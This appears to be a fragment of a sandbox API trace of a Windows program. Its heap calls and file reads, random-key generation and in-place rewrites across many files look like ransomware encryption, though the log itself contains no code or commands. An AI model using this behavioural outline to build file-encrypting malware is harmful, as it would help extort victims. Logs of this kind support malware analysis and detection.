[0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.490] GetProcessHeap () returned 0x540000 [0081.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.491] GetProcessHeap () returned 0x540000 [0081.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.492] GetProcessHeap () returned 0x540000 [0081.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.493] GetProcessHeap () returned 0x540000 [0081.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.493] GetProcessHeap () returned 0x540000 [0081.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.493] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.493] WriteFile (in: hFile=0x7f0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.493] WriteFile (in: hFile=0x7f0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.493] GetProcessHeap () returned 0x540000 [0081.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.493] GetProcessHeap () returned 0x540000 [0081.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.493] GetProcessHeap () returned 0x540000 [0081.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.493] CloseHandle (hObject=0x7f0) returned 1 [0081.495] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 31 [0081.495] SetFilePointerEx (in: hFile=0x7f4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.495] ReadFile (in: hFile=0x7f4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.495] SetFilePointerEx (in: hFile=0x7f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.495] GetProcessHeap () returned 0x540000 [0081.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.495] GetProcessHeap () returned 0x540000 [0081.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.495] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.495] GetProcessHeap () returned 0x540000 [0081.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.495] ReadFile (in: hFile=0x7f4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.557] SetFilePointerEx (in: hFile=0x7f4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.557] WriteFile (in: hFile=0x7f4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.557] GetProcessHeap () returned 0x540000 [0081.557] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.558] GetProcessHeap () returned 0x540000 [0081.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.559] GetProcessHeap () returned 0x540000 [0081.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.560] GetProcessHeap () returned 0x540000 [0081.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.560] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.561] GetProcessHeap () returned 0x540000 [0081.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.562] GetProcessHeap () returned 0x540000 [0081.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.562] GetProcessHeap () returned 0x540000 [0081.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.562] SetFilePointerEx (in: hFile=0x7f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.562] WriteFile (in: hFile=0x7f4, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.562] WriteFile (in: hFile=0x7f4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.562] GetProcessHeap () returned 0x540000 [0081.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.562] GetProcessHeap () returned 0x540000 [0081.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.562] GetProcessHeap () returned 0x540000 [0081.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.562] CloseHandle (hObject=0x7f4) returned 1 [0081.564] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 32 [0081.564] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.564] ReadFile (in: hFile=0x7c0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.564] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.564] GetProcessHeap () returned 0x540000 [0081.564] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.565] GetProcessHeap () returned 0x540000 [0081.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.565] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.565] GetProcessHeap () returned 0x540000 [0081.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.565] ReadFile (in: hFile=0x7c0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x499, lpOverlapped=0x0) returned 1 [0081.580] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0xfffffb67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.580] WriteFile (in: hFile=0x7c0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x499, lpOverlapped=0x0) returned 1 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.580] GetProcessHeap () returned 0x540000 [0081.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.580] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.581] 